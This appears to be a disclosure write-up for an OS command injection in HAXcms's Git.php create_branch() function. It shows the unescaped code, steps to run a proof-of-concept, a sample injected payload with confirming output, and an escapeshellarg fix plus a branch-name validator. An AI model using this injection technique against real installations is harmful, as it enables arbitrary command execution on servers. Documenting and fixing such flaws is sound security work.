// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}